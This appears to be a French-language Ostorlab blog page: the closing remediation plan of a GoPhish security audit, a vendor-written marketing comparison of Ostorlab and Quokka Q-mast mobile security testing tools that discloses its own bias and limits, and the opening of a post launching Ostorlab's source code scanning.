Réconcilier l'identité	Donner à la connexion, aux sessions, à l'état du compte et aux clés d'API un sens cohérent	Chemin d'authentification avec hachage factice ; révocation côté serveur/par version de session ; application de l'état du compte dans le middleware d'API ; autorisation au niveau des champs pour la mise à jour des utilisateurs	Les tests de déconnexion, de réinitialisation, de verrouillage et de changement de rôle révoquent ou refusent les identifiants de l'interface comme de l'API.
Durcir le périmètre	S'assurer que le comportement du déploiement et du réseau sortant correspond à la conception prévue	Politique de proxy de confiance en périphérie ; exposition directe de l'administration supprimée ; dialer réseau en refus par défaut ; contrôles des sorties réseau	Des tests d'intégration couvrent les en-têtes de transfert, les plages d'IP privées, les redirections et le comportement DNS.
Prévenir la récidive	Transformer les enseignements en contrôle de développement sécurisé	Listes d'autorisation de DTO, séparation création/mise à jour, règles d'encodage de sortie orientées points d'injection, vérifications de revue pour les clients sortants	Les nouveaux endpoints et moteurs de rendu sont rejetés par la CI lorsqu'ils contournent la politique.

L'objectif n'est pas de repenser GoPhish en une seule fois. Il s'agit de rétablir un petit nombre d'invariants qui rendent les fonctionnalités futures plus sûres par construction : seule une infrastructure de confiance affirme l'identité du client ; seuls des chemins autorisés modifient la propriété ; seul du texte atteint les points d'injection de texte ; un compte désactivé est désactivé partout ; et les requêtes côté serveur partent du refus, non de l'autorisation.

Conclusion : corriger les frontières, pas seulement les lignes

Le fil conducteur de ces résultats n'est pas une fonction dangereuse unique. C'est une frontière supposée plutôt qu'appliquée : un en-tête de proxy pris pour une identité, une erreur traitée comme du HTML, un ID traité comme une intention de création, une clé bearer traitée comme un état de compte, et une option de liste d'autorisation utilisée pour activer une politique de refus par défaut. Chaque ligne est petite. L'écart entre ce que l'application suppose et ce qu'un attaquant peut contrôler est l'endroit où se loge le vrai risque.

Pour les mainteneurs, l'ordre pratique est clair : contenir d'abord le XSS du panneau d'administration et la prise de contrôle de ressources entre utilisateurs ; rendre ensuite cohérentes l'autorisation de l'API et la révocation des identifiants ; enfin, durcir les contrôles de connexion et de requêtes sortantes à la fois dans l'application et dans les couches de déploiement. Pour les équipes de sécurité, cet audit montre comment l'analyse de code source avec Ostorlab Agentic Deep Scan peut produire un rapport sur lequel les équipes de développement peuvent agir.

Statut CVE

Cet article n'associe aucun des huit résultats à un CVE. Les demandes d'identifiants CVE sont actuellement en cours d'examen. Si des identifiants sont attribués, les attributions confirmées seront communiquées séparément ; d'ici là, les titres des résultats et les composants affectés de la dernière version de GoPhish ci-dessus font foi pour cet audit.

Référence de l'audit : dernière mise à jour le 2026-07-22. L'audit couvre la dernière version de GoPhish avec sa configuration par défaut fournie ; les lecteurs doivent vérifier que leur déploiement correspond à cette version avant d'extrapoler les résultats.

Références

Ostorlab contre Quokka Q-mast : comparatif du DAST mobile

2026-07-15T18:00:00+02:00

Regardons en face une dure réalité de l'ingénierie mobile moderne : les applications que vos équipes livrent ne sont plus des binaires côté client autonomes. Ce sont des passerelles dynamiques et rapides vers des architectures cloud, des microservices et des API backend complexes.

Pour les équipes DevSecOps, cette évolution met en échec les tests de sécurité traditionnels. Les scanners uniquement statiques et les outils dynamiques rigides en boîte noire ne peuvent tout simplement pas suivre le fonctionnement réel des applications. Les vulnérabilités du monde réel se trouvent rarement, de façon passive, dans un package d'application isolé. Elles se déclenchent pendant l'exécution en conditions réelles, cachées dans les interactions désordonnées entre l'interface de l'application, le système d'exploitation local et vos serveurs backend.

Si votre équipe d'ingénierie évalue des outils de test de sécurité des applications mobiles (MAST), vous avez probablement réduit votre choix à Ostorlab et Quokka Q-mast (anciennement Kryptowire). Si les deux outils offrent une analyse dynamique sans nécessiter d'accès au code source brut, ils reposent sur des philosophies complètement différentes :

Quokka Q-mast mise beaucoup sur la génération automatisée de nomenclature logicielle (SBOM), sur des contrôles statiques de binaires et sur la correspondance de checklists avec des normes de conformité fédérales rigides comme NIAP et NIST.
Ostorlab propose un DAST mobile full-stack conçu spécifiquement pour les pipelines logiciels à haute vélocité. Il est pensé dès l'origine pour contourner les barrières de sécurité à l'exécution, gérer nativement l'authentification complexe et inspecter le trafic des API backend sans ralentir les développeurs.

Au-delà du DAST de base, Ostorlab introduit un module optionnel Agentic Deep Scan. Voyez-le comme un testeur d'intrusion IA autonome qui agit comme un hacker humain à la demande : il enchaîne des exploits logiques à travers les parcours utilisateur et vérifie automatiquement que les correctifs de vos développeurs ont réellement fonctionné.

À propos de cette comparaison

Cette comparaison est publiée par Ostorlab, qui développe et commercialise la plateforme Ostorlab comparée ici. Les descriptions de Quokka Q-mast s'appuient sur le site web public et la documentation de Quokka, principalement la page produit Q-mast ; les descriptions d'Ostorlab s'appuient sur la documentation produit d'Ostorlab. Les informations sur les autres éditeurs reflètent leurs sites web et leur documentation publics au 15 juillet 2026.

Mise à jour du 2 octobre 2026 : correction de la ligne sur l'approvisionnement des applications. Quokka Q-mast teste les applications de production directement depuis les stores (Q-mast).

Critères d'évaluation : configuration et personnalisation des flux, approvisionnement mondial des applications, gestion du TLS et de l'obfuscation, gestion de l'authentification, confidentialité et conformité, preuves et visibilité à l'exécution, compatibilité avec les frameworks, tests du module agentique complémentaire, workflow de remédiation et couverture des API backend.

Verdict rapide : matrice comparative des fonctionnalités et de l'architecture

Si vous voulez la version courte de la comparaison de ces outils, cette matrice montre où le DAST mobile de base d'Ostorlab devance Quokka Q-mast, ainsi que ce que vous gagnez en ajoutant les capacités agentiques d'Ostorlab :

Critère d'évaluation technique	DAST mobile d'Ostorlab	DAST Quokka Q-mast	Pourquoi c'est important pour le DevSecOps
Configuration et personnalisation des flux	Personnalisation par prompt : guidez les tests avec des prompts en texte libre ; s'intègre au CI/CD en quelques minutes.	Nécessite une configuration manuelle, des chemins d'exécution prédéfinis ou des scripts sur mesure.	Élimine des heures passées à écrire et à maintenir des scripts de test d'interface fragiles.
Approvisionnement mondial des applications	Recherche géo-restreinte : recherchez nativement dans l'App Store ou le Play Store par pays.	Teste les applications de production directement depuis les stores avec son « App Watch List » ; nous n'avons trouvé aucune sélection de pays sur ses pages publiques.	Vous permet de tester la version que les utilisateurs régionaux téléchargent réellement.
Gestion du TLS et de l'obfuscation	Contournement automatisé : contourne nativement le TLS pinning et l'obfuscation du code pour une inspection approfondie.	Fréquemment bloqué ou aveuglé par les protections à l'exécution et le chiffrement personnalisé.	Évite les faux négatifs en permettant l'inspection complète du trafic réseau chiffré.
Gestion de l'authentification	Prise en charge avancée de l'authentification : maintient nativement les sessions authentifiées à travers des flux de connexion complexes.	Peine souvent, ou exige des scripts lourds à maintenir, pour garder les sessions actives.	Garantit que les parcours utilisateur protégés, les profils utilisateur et les fonctions internes sont testés.
Confidentialité et conformité	Scan approfondi de la confidentialité : informations détaillées sur la collecte de données et ses implications pour la vie privée.	Contrôles de confidentialité basiques, souvent liés aux données SBOM statiques.	Aide les équipes à respecter les réglementations sur la vie privée en suivant précisément comment les données sont collectées.
Preuves et visibilité à l'exécution	Accès full-stack : fournit des captures PCAP, des journaux de trafic en direct, des stack traces et des captures d'écran.	Alertes de sécurité traditionnelles avec un contexte d'exécution limité ou une journalisation en boîte noire.	Donne aux développeurs les preuves exactes et vérifiables nécessaires pour reproduire et corriger rapidement les bugs.
Compatibilité avec les frameworks	Tests natifs à l'exécution pour Flutter, React Native, Java, Kotlin, Swift et C/C++.	Axé sur le binaire ; l'exploration dynamique est souvent limitée ou dépendante du framework.	Garantit une couverture dynamique cohérente sur les stacks hybrides et multiplateformes modernes.
Moteur complémentaire avancé	Agentic Deep Scan (optionnel) : pentest IA autonome qui enchaîne des exploits logiques et reteste les correctifs.	Aucun module de test d'intrusion agentique autonome équivalent n'est disponible.	Offre un pentest logique approfondi à la demande, sans la lourdeur du conseil manuel.
Workflow de remédiation	Correctifs de code sécurisés automatisés en un clic + validation continue tout au long du cycle de test.	Rapports de vulnérabilités statiques, ticketing et mise en correspondance avec les SBOM.	Réduit le délai moyen de remédiation (MTTR) et prouve automatiquement qu'une vulnérabilité est close.

Partie 1 : pourquoi le DAST de base d'Ostorlab surpasse Quokka Q-mast

Avant même d'examiner les modules IA avancés, il faut régler la question du test dynamique de base. Lorsque l'on met de côté le discours marketing et que l'on déploie les deux plateformes dans un pipeline CI/CD réel, comment leurs moteurs DAST de base se comportent-ils vraiment à l'exécution ?

Quokka Q-mast propose des contrôles dynamiques et une exécution de chemins forcés qui ont leur valeur, mais son ADN reste ancré dans la cartographie statique des vulnérabilités et le reporting de conformité. Ostorlab aborde le DAST sous un angle totalement différent : une exécution à l'exécution conçue pour des équipes d'ingénierie à haute vélocité. Voici comment Ostorlab dépasse l'analyse dynamique traditionnelle sur cinq piliers essentiels de l'exécution.

1. Personnalisation des flux par prompt contre scripts rigides

Demandez à n'importe quel ingénieur QA ou sécurité pourquoi il déteste l'automatisation du DAST, et vous obtiendrez toujours la même réponse : des scripts de test lourds à maintenir. Les outils dynamiques traditionnels vous obligent souvent à écrire des scripts Appium complexes ou à passer des jours à cartographier manuellement les chemins d'exécution de l'interface, juste pour que le scanner examine les bons écrans. Chaque fois que vos développeurs frontend modifient un composant d'interface ou livrent une refonte importante, vos tests de sécurité automatisés cassent.

Ostorlab élimine les scripts fragiles avec la personnalisation des flux par prompt. Au lieu de coder des chemins d'exécution rigides, votre équipe guide le scanner avec des prompts en texte libre. Vous indiquez simplement au moteur, en langage naturel, ce qui compte, par exemple : « Accède au panier, applique un code de réduction et teste la passerelle de paiement pour détecter des failles de validation des entrées. »

Le moteur DAST explore dynamiquement l'application en cours d'exécution, trouve de lui-même les composants d'interface pertinents et concentre sa charge de test exactement là où se trouve votre logique métier. Ce qui demande normalement des jours de configuration manuelle des tests se réduit à une mise en place de pipeline de cinq minutes.

2. Contournement des protections (TLS pinning et obfuscation) à l'exécution

Les applications mobiles modernes sont rarement livrées sans protection. Pour empêcher la rétro-ingénierie et l'espionnage, les développeurs déploient des protections à l'exécution comme l'épinglage de certificat TLS et une obfuscation poussée du code. Ces protections sont excellentes pour la défense, mais elles sont un énorme casse-tête pour les scanners DAST standard. Lorsqu'un scanner traditionnel se heurte à un certificat épinglé ou à un chiffrement personnalisé, il est aveuglé : il vous prive d'une analyse réseau plus approfondie et génère des faux négatifs.

Ostorlab gère cet obstacle d'emblée avec les contournements automatisés à l'exécution. Lorsque le scanner lance votre application sur de vrais appareils iOS et Android physiques, il contourne activement le TLS pinning et défait à la volée les barrières d'obfuscation courantes. Au lieu de traiter simplement l'application comme une boîte noire, Ostorlab ouvre le trafic réseau chiffré et inspecte les communications internes des API pendant que l'application s'exécute. Vous obtenez une vision claire du comportement interne de l'application, sans que les développeurs aient à produire des builds de test spéciaux et dépouillés rien que pour votre scanner de sécurité.

3. Gestion des workflows authentifiés et couverture après connexion

Voici un secret de polichinelle de la sécurité des applications mobiles : la plupart des vulnérabilités critiques ne se trouvent pas sur l'écran de connexion public. Elles se cachent dans les parcours utilisateur protégés, les paramètres de profil, les parcours de paiement et les tableaux de bord de gestion de compte. Pourtant, les scanners DAST hérités échouent fréquemment dès qu'ils rencontrent une barrière d'authentification. Si l'outil ne sait pas gérer l'authentification à deux facteurs (2FA), les mots de passe à usage unique (OTP) ou des flux OAuth complexes, il n'atteint jamais la surface d'attaque située après la connexion.

Ostorlab résout ce problème nativement avec la gestion avancée de l'authentification. Le moteur est conçu pour maintenir des sessions authentifiées persistantes à travers des séquences de connexion complexes. Il conserve les jetons, gère les renouvellements dynamiques de session et navigue dans les connexions en plusieurs étapes sans perdre la connexion. Là où les outils hérités plantent devant la porte de connexion ou vous obligent à coder en dur des jetons de contournement temporaires, Ostorlab cartographie et teste en continu vos parcours utilisateur protégés, exactement comme le ferait un vrai utilisateur.

4. Artefacts vérifiables : PCAP, stack traces et captures d'écran

Trouver une vulnérabilité ne représente que la moitié du combat. Si votre outil de sécurité se contente d'alerter les développeurs qu'il a trouvé un problème sans expliquer comment il s'est produit, vous perdrez des jours en réunions de triage à essayer de reproduire le bug. Quokka Q-mast excelle à repérer les versions vulnérables de bibliothèques grâce à son moteur SBOM, mais pour les failles de logique à l'exécution, les ingénieurs ont besoin d'un contexte d'exécution plus profond.

Ostorlab traite chaque vulnérabilité comme une affaire judiciaire qui exige une preuve absolue. Lorsque le moteur DAST signale un problème, il remet à vos développeurs un dossier complet de preuves à l'exécution :

Visibilité réseau complète : fichiers bruts de trafic réseau PCAP et journaux de requêtes et de réponses lisibles montrant les payloads exacts des API.
Contexte système approfondi : stack traces en temps réel et journaux de plantage de l'appareil qui indiquent précisément où le code a échoué pendant l'exécution.
Preuve visuelle : captures d'écran synchronisées et journaux de rejeu visuel pas à pas montrant les boutons et les écrans exacts avec lesquels le moteur a interagi pour déclencher l'exploit.

Vos développeurs n'ont jamais à deviner ce qui s'est mal passé. Ils récupèrent les artefacts, voient la requête réseau ou la séquence d'interface exacte qui a causé la fuite, et commencent à corriger immédiatement.

5. Approvisionnement mondial des applications et tests géo-restreints

Tester des applications publiées uniquement dans certaines régions peut être un cauchemar logistique, qui oblige généralement les équipes à chercher manuellement des APK ou des IPA localisés sur des sites tiers.

Ostorlab supprime entièrement cette friction. Vous pouvez rechercher nativement dans l'App Store ou le Play Store par pays, directement depuis la plateforme. Si vous voulez tester une application disponible uniquement dans un pays précis, il vous suffit de sélectionner la région, et Ostorlab récupère automatiquement le bon binaire localisé. Votre portefeuille d'applications mondial est ainsi testé exactement comme les utilisateurs régionaux le vivent.

Partie 2 : le super-pouvoir optionnel, Agentic Deep Scan

Notre DAST mobile de base donne déjà à votre équipe un avantage considérable sur les analyseurs dynamiques standard. Mais que se passe-t-il lorsque votre modèle de menace exige des tests qui vont au-delà de la détection des bugs de régression et des plantages à l'exécution classiques ?

Jusqu'ici, traquer les erreurs complexes de logique métier, les chemins d'élévation de privilèges et les contournements d'autorisation en plusieurs étapes exigeait de faire appel à un cabinet de test d'intrusion humain coûteux. Les scanners automatisés standard, aussi bonnes que soient leurs règles, n'ont tout simplement pas la créativité de résolution de problèmes nécessaire pour enchaîner des faiblesses logiques.

C'est là qu'Ostorlab se distingue complètement d'outils comme Quokka Q-mast. Pour combler le fossé entre le DAST automatisé et le conseil manuel, Ostorlab a introduit Agentic Deep Scan, un module optionnel de test d'intrusion IA autonome qui agit comme un chercheur humain infatigable travaillant au sein de votre pipeline CI/CD.

1. Quand le DAST de base ne suffit pas

Le DAST standard est votre outil du quotidien. Il détecte les failles faciles, valide la configuration à l'exécution et s'assure que votre application passe des contrôles de sécurité continus à chaque pull request. Certaines classes de vulnérabilités exigent toutefois une intuition proche de celle d'un humain.

Imaginez un endpoint où la création d'une ressource permet à un attaquant de passer un ID existant dans une requête POST, s'attribuant ainsi la propriété des données de quelqu'un d'autre. Un scanner traditionnel manquera systématiquement cette vulnérabilité de type Broken Object Level Authorization (BOLA/IDOR), car le serveur renvoie une réponse 200 OK valide. La syntaxe est correcte, mais la logique est défaillante. Pour détecter ces failles complexes, il faut un moteur qui comprend le contexte applicatif, construit des hypothèses et tente activement de casser votre logique métier.

2. Ce qu'ajoute Agentic Deep Scan

Lorsque vous lancez un Agentic Deep Scan, vous n'exécutez pas simplement une liste de payloads préétablis. Vous déployez un agent IA autonome qui investigue activement votre application de l'intérieur.

Avant de lancer le moindre test, le moteur fait de la rétro-ingénierie de votre binaire mobile. Il cartographie les deep links internes, les WebViews, les gestionnaires d'URL et les fonctions candidates, en décompilant automatiquement le code pertinent pour comprendre comment les composants interagissent. Une fois qu'il a construit une carte mentale interne de votre application, l'agent commence à planifier son attaque. Il navigue dans des parcours utilisateur authentifiés complexes, gère les barrières d'authentification à deux facteurs (2FA) et de mots de passe à usage unique (OTP), et teste les frontières de confiance côté client.

Au lieu de déverser des alertes très bruyantes sur votre tableau Jira, le moteur ne signale que ce qu'il peut réellement exploiter. Chaque vulnérabilité s'accompagne de preuves de niveau probant : journaux exacts des requêtes et des réponses, télémétrie de plantage de l'appareil et captures d'écran pas à pas montrant à vos ingénieurs comment l'exploit s'est déroulé.

3. Nouveau test de vérification automatisé

L'un des goulots d'étranglement les plus frustrants de l'AppSec est le va-et-vient sans fin entre développeurs et analystes sécurité. Un développeur livre un correctif pour une vulnérabilité de logique critique et marque le ticket comme résolu, mais l'équipe sécurité n'a pas la disponibilité pour retester manuellement l'application avant la semaine suivante.

Agentic Deep Scan automatise toute cette boucle de retour avec le Verification Retesting. Dès que vos développeurs poussent un correctif, l'agent relance l'application cible sur de vrais appareils physiques et rejoue exactement la chaîne d'exploitation en plusieurs étapes qu'il avait utilisée pour casser l'application au départ. Si le correctif tient, le ticket se ferme automatiquement avec une preuve confirmée de la remédiation. Vos développeurs obtiennent une validation immédiate de l'efficacité de leur correctif, sans attendre un goulot d'étranglement humain.

4. Calcul IA encadré (Cyber Models et BYOK)

Exploiter des modèles d'IA de pointe pour les tests de sécurité paraît formidable, jusqu'à l'arrivée de la facture de l'infrastructure cloud. Des agents IA non contrôlés peuvent vite brûler des tokens, ce qui conduit à une facturation imprévisible et à la panique du directeur financier. Quokka Q-mast fonctionne selon un modèle de licence logicielle traditionnel, sans infrastructure agentique gérée, et laisse les équipes se débrouiller seules si elles veulent intégrer des workflows LLM.

Ostorlab résout nativement le problème du budget avec Cyber Models, un niveau d'infrastructure IA géré et prépayé. Au lieu de jongler avec des clés d'API externes ou de s'inquiéter des limites de débit, votre équipe alimente un portefeuille d'espace de travail consolidé avec des crédits prépayés. Avant le lancement d'un scan approfondi, vous sélectionnez un profil d'effort (Core, Advanced ou Elite) qui fixe un plafond de dépenses strict. Vous bénéficiez d'un accès encadré à de puissants modèles de sécurité comme GPT-5.5 Cyber et Opus 4.8. Mieux encore, si l'IA trouve les vulnérabilités tôt et termine son investigation en avance, tous les tokens inutilisés sont automatiquement remboursés sur le portefeuille de votre espace de travail.

Pour les organisations soumises à des politiques de données internes strictes, Ostorlab prend aussi en charge le BYOK (Bring Your Own Key). Vous pouvez brancher les identifiants de votre propre fournisseur d'IA d'entreprise et fixer des garde-fous stricts de « Max Spend per Scan », afin que votre exploration approfondie reste conforme, prévisible et entièrement sous votre contrôle.

Partie 3 : surface d'attaque full-stack et remédiation automatisée

Trouver des bugs côté client, c'est bien, mais un scanner mobile qui s'arrête à la frontière de l'appareil laisse grands ouverts vos plus gros angles morts. Dans le monde réel, les compromissions mobiles surviennent rarement parce qu'un attaquant a volé des données SQLite locales ; elles surviennent parce qu'une vulnérabilité côté client a ouvert la porte à une faille du backend côté serveur.

Pour offrir aux équipes DevSecOps une visibilité totale, Ostorlab relie le scan des applications mobiles directement à l'infrastructure backend, à la validation défensive active et aux workflows de remédiation des développeurs. Voici comment Ostorlab élargit la surface d'attaque tout en aidant vos développeurs à corriger les bugs plus vite que jamais.

1. Scan des API backend REST et GraphQL

Si l'on regarde Quokka Q-mast, son centre de gravité est le binaire mobile compilé et sa nomenclature logicielle (SBOM). C'est essentiel pour la conformité de la chaîne d'approvisionnement logicielle, mais cela ignore les serveurs backend qui font fonctionner votre application. Si votre application communique avec des endpoints REST vulnérables ou des API GraphQL qui fuient, un scanner limité au binaire passera complètement à côté de la menace.

Ostorlab traite votre application mobile et ses API backend comme un seul écosystème unifié. Pendant que le moteur explore l'application, il intercepte simultanément le trafic réseau, cartographie les invocations de fonctions et teste les communications côté serveur. Il recherche activement les failles de logique client-serveur, les points d'injection backend et les fuites de données, sur plus de 500 classes de vulnérabilités distinctes. Au lieu d'aveugler votre équipe sécurité sur les risques côté serveur, Ostorlab détecte la chaîne d'exploitation complète, à la fois sur le client mobile et sur votre infrastructure cloud.

2. Validation active du shielding contre contrôles passifs de l'obfuscation

Si votre équipe d'ingénierie paie pour de l'obfuscation commerciale ou de la protection applicative à l'exécution (RASP, Runtime Application Self-Protection), vous devez savoir si ces défenses fonctionnent vraiment sous pression. Les scanners traditionnels se contentent généralement d'une détection passive : ils analysent votre binaire, repèrent une bibliothèque d'obfuscation connue et cochent une case de conformité statique. Mais la présence n'est pas une preuve.

Ostorlab remplace les checklists théoriques par Mobile Shielding Scan, un module de test automatisé qui valide vos défenses à l'exécution sur de vrais appareils iOS et Android physiques. Un analyste IA adaptatif attaque activement votre application : il déploie des débogueurs en direct, hooke des fonctions et exécute des boucles de contournement interactives contre la détection du root, l'anti-falsification et le SSL pinning.

Si une couche défensive échoue, Ostorlab vous fournit une preuve concrète du contournement. Si la protection résiste à l'IA, vous obtenez une note de robustesse validée, alignée directement sur les normes mondiales de sécurité mobile comme OWASP MASVS. Vous transformez « nous espérons que notre application est protégée » en preuve d'ingénierie définitive.

3. Évaluation pondérée des applications en entreprise

Les responsables de la sécurité en entreprise souffrent souvent de fatigue des alertes lorsqu'ils auditent de grands portefeuilles d'applications. Les scanners basiques déversent des listes de sévérité à plat et très bruyantes, qui traitent un avertissement mineur sur la confidentialité des données avec la même urgence qu'une vulnérabilité critique d'exécution de code à distance.

Ostorlab résout ce problème de bruit avec l'App Vetting, un cadre d'évaluation des risques conçu spécifiquement pour les validations en entreprise. Au lieu d'inonder votre boîte de réception de tickets non vérifiés, la plateforme combine analyse statique, test dynamique et exécution en sandbox sécurisé pour calculer des scores de risque contextuels et pondérés sur cinq dimensions critiques :

Malware (35 %) : détection des comportements malveillants, des chevaux de Troie et de la télémétrie suspecte.
Sécurité (25 %) : cartographie des vulnérabilités exploitables à l'exécution et dans le code.
Confidentialité (20 %) : audit du suivi non autorisé des données et du partage de données avec des tiers.
Confiance (10 %) : vérification des certificats de signature de l'application et de la légitimité de l'origine d'installation.
Maintenabilité (10 %) : évaluation des dépendances obsolètes et de la dégradation de l'architecture.

Ce modèle de notation structuré indique instantanément à votre comité de sécurité si une nouvelle application mobile peut être déployée sans risque sur les appareils de l'entreprise, ce qui garde la gestion des risques d'entreprise claire et prévisible.

4. Scan approfondi de la confidentialité et conformité

Au-delà des failles de sécurité, les équipes DevSecOps doivent aussi gérer les risques réglementaires. Ostorlab fournit un Privacy Scan complet pour vous aider à comprendre précisément quelles données votre application collecte, comment elles sont collectées et quelles en sont les implications pour la vie privée des utilisateurs. Le scan fournit des informations détaillées sur vos pratiques de collecte de données pour vous aider à respecter les réglementations sur la vie privée, en identifiant activement le suivi non autorisé par des tiers ou les fuites de données.

5. Correctifs en un clic et validation continue du cycle de vie

Trouver des bugs de sécurité ne représente que la moitié du travail ; les corriger avant votre prochaine échéance de release est là où les équipes d'ingénierie trébuchent généralement. Générer des rapports SBOM statiques et créer des tickets Jira est utile, mais cela laisse tout de même vos développeurs avec des heures de recherche manuelle pour comprendre comment écrire le correctif.

Ostorlab boucle la boucle avec les correctifs automatisés en un clic. En se connectant directement à vos dépôts de code source (GitHub, GitLab, Bitbucket et Azure DevOps sont pris en charge), Ostorlab analyse les binaires décompilés vulnérables en parallèle de votre code brut. Lorsque l'IA détecte un problème, elle génère des suggestions de code sécurisé personnalisées, adaptées spécifiquement à l'architecture de votre application.

Vos développeurs n'ont pas à fouiller dans une documentation générique. Ils examinent le diff de code recommandé par l'IA dans leur workflow habituel et appliquent le correctif en un seul clic, ce qui fait passer votre délai moyen de remédiation (MTTR) de plusieurs heures à quelques minutes.

En outre, Ostorlab assure une validation tout au long du cycle de test. Lorsque l'application est scannée et que nous ne trouvons pas la vulnérabilité, elle est marquée comme corrigée et vérifiée. Cette validation continue garantit que votre posture de sécurité est toujours à jour et supprime le besoin de triage manuel des tickets.

Quand choisir Ostorlab plutôt que Quokka

Ostorlab est conçu spécifiquement pour les équipes d'ingénierie à haute vélocité et les architectures applicatives full-stack modernes. Vous devriez déployer Ostorlab si :

Vous développez des applications multiplateformes ou hybrides : vos développeurs livrent du code en Flutter, React Native, MAUI, Kotlin ou Swift, et vous avez besoin d'un scanner à l'exécution qui comprend nativement ces frameworks sans se casser.
Vos applications reposent sur une authentification complexe et de l'autodéfense : vous avez besoin d'un scanner capable de contourner automatiquement le TLS pinning et l'obfuscation, de maintenir des sessions persistantes à travers des écrans de connexion 2FA ou OTP, et de tester activement les couches défensives RASP sur de vrais appareils physiques.
Vous accordez de l'importance à la sécurité des API côté serveur : vous savez que les vulnérabilités mobiles sont généralement liées à votre infrastructure, et vous voulez un scanner unifié qui teste à la fois votre application cliente et ses endpoints backend REST ou GraphQL.
Vous voulez supprimer les goulots d'étranglement du pentest manuel : vous voulez pouvoir déclencher un Agentic Deep Scan pour enchaîner des exploits logiques de façon autonome et vérifier automatiquement que les correctifs des développeurs ont réellement fonctionné.
Vous avez besoin d'une remédiation en un clic pour les développeurs : vous voulez cesser de déverser des rapports PDF bruyants sur vos ingénieurs et injecter plutôt des correctifs de code générés par l'IA directement dans leurs workflows GitHub, GitLab, Jira ou Azure DevOps.

Questions fréquentes

Lorsque les ingénieurs DevSecOps évaluent des plateformes MAST, ils posent généralement des questions directes et très techniques. Voici des réponses claires et faisant autorité aux questions les plus courantes sur Ostorlab et Quokka Q-mast.

En quoi le DAST mobile de base d'Ostorlab diffère-t-il de Quokka Q-mast ?

Si les deux outils réalisent une analyse dynamique sans accès au code source, ils s'exécutent différemment à l'exécution. Quokka Q-mast s'appuie sur des chemins d'exécution préconfigurés et des scripts manuels. Ostorlab se configure en quelques minutes grâce à la personnalisation des flux par prompt, contourne nativement le TLS pinning et l'obfuscation du code, maintient des sessions authentifiées à travers des écrans de connexion complexes et remet aux développeurs des preuves complètes à l'exécution, comme des captures PCAP et des stack traces.

Quelle est la différence entre le DAST mobile d'Ostorlab et Agentic Deep Scan ?

Le DAST mobile d'Ostorlab est un scanner automatisé à l'exécution conçu pour une intégration quotidienne aux pipelines CI/CD, qui détecte les bugs de régression et les vulnérabilités courantes à chaque pull request. Agentic Deep Scan est un moteur optionnel de test d'intrusion IA autonome qui agit comme un hacker humain à la demande. Il décompile le code, enchaîne des failles logiques complexes, gère les barrières 2FA ou OTP et reteste automatiquement l'application dès que les développeurs poussent un correctif.

Ostorlab peut-il tester automatiquement les workflows authentifiés d'une application mobile ?

Oui. Contrairement aux scanners hérités qui se bloquent face aux portes de connexion, Ostorlab dispose d'une gestion avancée de l'authentification. Il gère nativement les connexions en plusieurs étapes, les flux OAuth, l'authentification à deux facteurs (2FA) et les mots de passe à usage unique (OTP), pour que vos parcours utilisateur protégés et vos écrans de gestion de compte bénéficient d'un test dynamique approfondi.

Quokka Q-mast scanne-t-il les API backend, par rapport à Ostorlab ?

Quokka Q-mast se concentre presque entièrement sur le binaire mobile compilé et sa SBOM. Ostorlab traite l'application mobile et ses API backend comme un seul écosystème. Pendant le scan de l'application, Ostorlab intercepte activement le trafic réseau et teste les endpoints backend REST et GraphQL à la recherche de failles de logique client-serveur, de vulnérabilités d'injection et de fuites de données.

Comment les deux plateformes gèrent-elles les budgets de calcul IA et les coûts en tokens ?

Quokka fonctionne selon un modèle de licence logicielle traditionnel, sans infrastructure d'IA agentique gérée. Ostorlab résout les risques de facturation de l'IA grâce à Cyber Models, un niveau de calcul géré et prépayé. Vous alimentez un portefeuille d'espace de travail, sélectionnez avant le lancement d'un scan un profil d'effort avec un plafond de dépenses strict, et recevez automatiquement un remboursement pour les tokens inutilisés à la fin du scan. Ostorlab prend aussi en charge le Bring Your Own Key (BYOK) pour la conformité interne.

Limites de cette comparaison

Les capacités, les tarifs et la documentation des éditeurs changent fréquemment. Les informations sur Quokka Q-mast ont pu évoluer depuis le 15 juillet 2026.
Aucun benchmark indépendant des taux de détection, des taux de faux positifs ou de la vitesse de scan n'a été réalisé pour cet article.
Cet article ne rend pas compte de tests pratiques de Quokka Q-mast. Les affirmations sur Quokka Q-mast reflètent ses documents publics ; les affirmations sur Ostorlab reflètent la documentation produit d'Ostorlab.
Vérifiez les capacités, les tarifs et les options de déploiement actuels directement auprès de chaque éditeur, idéalement en testant les deux plateformes sur vos propres applications.

Conclusion et prochaines étapes

Le paysage des menaces mobiles a évolué, et vos outils de sécurité doivent évoluer avec lui. S'en remettre strictement à l'analyse statique de binaires, à de simples checklists SBOM ou à des scanners dynamiques rigides laisse les équipes d'ingénierie aveugles face aux vulnérabilités full-stack complexes qui causent les compromissions de sécurité modernes.

Si Quokka Q-mast offre un suivi de conformité utile pour les exigences historiques, Ostorlab représente l'avenir du test de sécurité des applications mobiles. En associant un DAST de base qui se déploie en quelques minutes à une validation automatisée du shielding, une inspection full-stack des API, des correctifs développeur en un clic et un moteur optionnel Agentic Deep Scan, Ostorlab donne aux équipes DevSecOps les outils exacts dont elles ont besoin pour livrer du code sécurisé à haute vélocité.

Vous utilisez déjà Quokka Q-mast ? Comparez Ostorlab et Quokka Q-mast sur la même application : même cible, même durée. Une vulnérabilité ne compte qu'après avoir été reproduite par votre équipe.

Présentation d'Ostorlab Source Code Scanning

2026-07-07T18:00:00+02:00

Vous fusionnez une PR. Les tests passent, la revue est bonne, tout le monde passe à autre chose.

Trois semaines plus tard, l'équipe sécurité découvre une clé d'API codée en dur qui se trouvait dans ce fichier avant même la fusion.

L'analyse de sécurité se trouve généralement ailleurs : un outil distinct, un pipeline distinct, le backlog d'une autre équipe. Le temps qu'elle rattrape votre code, celui-ci est déjà en production.

Aujourd'hui, nous lançons Source Code Scanning pour combler cet écart.

Qu'est-ce que Source Code Scanning

Source Code Scanning est le processus d'analyse du code source visant à identifier les vulnérabilités de sécurité, les pratiques de codage non sécurisées et d'autres risques potentiels avant le déploiement d'une application.

Par exemple, il peut détecter des clés d'API codées en dur, des risques d'injection SQL, des implémentations cryptographiques non sécurisées ou d'autres failles plus faciles à corriger avant que le code n'atteigne la production.

Comment lancer un scan de code source

1. Connectez votre dépôt :

Depuis votre Dashboard, ouvrez la page Integrations dans le menu de gauche. Sélectionnez votre fournisseur Git, comme GitHub, GitLab, Azure DevOps, Bitbucket ou un serveur Git auto-hébergé, puis cliquez sur Configure pour connecter votre dépôt.

Sélectionnez votre fournisseur git et connectez votre dépôt à Ostorlab.

2. Créez un scan :

